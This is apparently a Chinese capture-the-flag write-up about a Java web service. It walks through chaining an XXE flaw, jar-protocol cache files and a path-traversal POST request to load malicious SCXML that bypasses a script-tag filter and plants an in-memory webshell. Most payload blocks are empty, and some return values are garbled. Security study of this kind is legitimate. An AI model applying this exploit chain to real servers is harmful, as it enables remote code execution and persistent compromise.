0x01 代码分析

object方法

object方法通过@RequestParam注解获取object参数，然后根据该参数拼接出一个文件路径file:///home + object。接着调用check方法检查该文件是否存在 <script> 标签，如果存在则返回 X E , X E , XX E;
否则读取该文件并将其解析为SCXML状态机，然后执行该状态机并返回 `X ME

check方法

该方法用于检查文件中是否存在<script>标签。

首先通过
DocumentBuilderFactory.newInstance()创建一个DocumentBuilderFactory实例，然后通过newDocumentBuilder()方法创建一个DocumentBuilder实例。

接着使用builder.parse(fileName)方法将文件解析为一个Document对象，最后通过getElementsByTagName("script")方法获取所有<script>标签元素并检查其数量，如果为0，则返回true，否则返回false。

xxe方法

xxe方法通过@RequestParam注解获取uri参数，然后使用DocumentBuilder将该参数解析为一个Document对象。接着遍历该Document对象的所有子节点，并将其文本内容连接起来返回。由于没有对解析出来的文本进行任何过滤或验证，因此存在XXE漏洞。

0x02 漏洞利用

• object方法中存在SCXML解析漏洞，攻击者可以通过object参数构造一个包含恶意SCXML状态机的文件，从而在服务器上执行任意代码。
• xxe方法中存在XXE漏洞，攻击者可以通过uri参数构造一个恶意XML文件，从而读取服务器上的任意文件。

通过xxe读取根目录，发现readflag，也可以列目录获取缓存文件地址：

通过jar协议缓存文件特点，通过工具使文件解压后不删除，通过xxe列目录获取tmp文件路径

https://github.com/pwntester/BlockingServer

构造命令执行,通过assign绕过script标签过滤：

• Payload

    
        
            
        
    

复制代码

• 目录穿越指定缓存文件

POST /object HTTP/1.1
Host: 192.168.2.42:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 126

object=../../../../../../../../../../private/var/folders/86/8qfmjpl965j4x4ykyk1sfkf80000gn/T/jar_cache12949212024815436877.tmp
复制代码

• 通过el表达式，注入内存马：

  
    
      
        
        
        
复制代码

0x03 其他标签：

标签

 
   
       
           
      
       
   

复制代码

标签：

  
    
      
    
  

复制代码

标签：

  
    
  
  
    
      
    
  
  
    
      
    
  
  

复制代码

from https://1oecho.github.io/mCQ5Tu20m/